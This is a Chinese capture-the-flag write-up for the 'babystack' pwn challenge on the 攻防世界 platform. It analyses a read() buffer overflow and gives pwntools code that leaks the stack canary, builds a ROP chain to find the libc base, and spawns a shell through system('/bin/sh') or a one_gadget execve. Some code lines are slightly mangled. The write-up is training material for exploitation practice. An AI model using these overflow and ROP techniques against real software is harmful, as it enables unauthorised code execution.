zoukankan      html  css  js  c++  java
  • 『攻防世界』:进阶区 | pwn1

    开学前把系统重新装了一遍,遇到一些环境的问题,慢慢解决了

    然后checksec安装成为了最新的版本,使用方法变成了:checksec --file=babystack

    不管了,使用python创建一个elf对象会自动调用老版本的checksec:

        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    再温习下各个保护机制对解题的影响:

    • Arch:程序位数
    • RELRO:开启则无法修改got表
    • Stack:开启则无法直接覆盖EIP让程序任意跳转,跳转后会进行cookie校验;但这项保护可以被绕过
    • NX:开启则shellcode无法被执行
    • PIE:开启在每次程序运行地址都会变化,未开启则返回值括号内是程序的基址

    IDA静态分析:附件

     1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
     2 {
     3   char *v3; // rsi
     4   char *v4; // rdi
     5   int v5; // eax
     6   char s; // [rsp+10h] [rbp-90h]
     7   unsigned __int64 v8; // [rsp+98h] [rbp-8h]
     8 
     9   v8 = __readfsqword(0x28u);
    10   setvbuf(stdin, 0LL, 2, 0LL);
    11   setvbuf(stdout, 0LL, 2, 0LL);
    12   setvbuf(stderr, 0LL, 2, 0LL);
    13   v3 = 0LL;
    14   v4 = &s;
    15   memset(&s, 0, 0x80uLL);
    16   while ( 1 )
    17   {
    18     sub_4008B9(v4, v3);
    19     v5 = sub_400841();
    20     switch ( v5 )
    21     {
    22       case 2:
    23         puts(&s);
    24         break;
    25       case 3:
    26         return 0LL;
    27       case 1:
    28         v3 = &s;
    29         read(0, &s, 0x100uLL);
    30         break;
    31       default:
    32         sub_400826("invalid choice");
    33         break;
    34     }
    35     v4 = (char *)&unk_400AE7;
    36     sub_400826(&unk_400AE7);
    37   }
    38 }
    mian

    简单运行下程序:

    running
    RUNNING

    从静态分析中可可以发现当我们第一次输入1后接下来会执行read函数,但是它的控制读入长度大于开辟的空间,这里是一个溢出漏洞利用,看一看能够做什么,我们只需要从char s填入0x90-0x8 个垃圾数据后在通过选择2选项就可以将canary的值泄露出来。同时这道题还提供了程序的库文件。X64传参的方式当参数少于7个时,参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9.当我们成功得到canary的值后就可以构rop链进行控制程序。

    首先试着获取canary:

    #coding:utf-8
    from pwn import *
    
    io = process("./babystack")
    payload = cyclic(0x88)
    io.send('1')
    io.sendline(payload)
    io.sendlineafter(">> ", "2")
    io.recvuntil("
    ")
    canary = u64("x00" + io.recv(7))
    print hex(canary)
    io.close()
    GetCanary

    获取偏移:

    read_got = elf.got["read"]
    read_plt = elf.plt["read"]
    puts_plt = elf.plt["puts"]
    start_plt = 0x400908
    pop_rdi_ret = 0x400a93
    pop_rsi_r15_ret = 0x400a91
    io.sendlineafter(">> ", "1")
    payload = cyclic(0x88) + p64(canary) * 2 + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(start_plt)
    io.sendline(payload)
    io.sendlineafter(">> ", "3")
    read_leaked = u64(io.recv(6).ljust(8, 'x00'))
    read_libc = libc.symbols["read"]
    libc_base = read_leaked - read_libc
    GetBase

    获取shell:

    这里有两个方法,一个是传统的通过libc文件dump出system和str_bin_sh.再构造payload = 'a'*0x88+p64(canary)+'a'*8+p64(popedi)+p64(binsh_addr)+p64(system_addr)

    另一个方法就是通过one_gadget从libc获取到execve("/bin/sh", rsp+0x30, environ)的exeaddr再加上偏移得到最后的exeaddr,payload  = payload = cyclic(0x88) + p64(canary) + 'a' * 8 + p64(exeAddr)

  • 相关阅读:
    Go语言函数之可变参数
    Python 调用系统命令的模块 Subprocess
    python关闭socket端口立即释放
    Python面试题(四)
    Project简介
    Office Visio简介
    [转载]Windows 2012 R2安装SharePoint 2013 手动安装工具软件
    [转载]SharePoint 2013测试环境安装配置指南
    [转载]SharePoint 2013 解决方案中使用JavaScript
    [转载]我们可以用SharePoint做什么
  • 原文地址:https://www.cnblogs.com/Zowie/p/13620296.html
Copyright © 2011-2022 走看看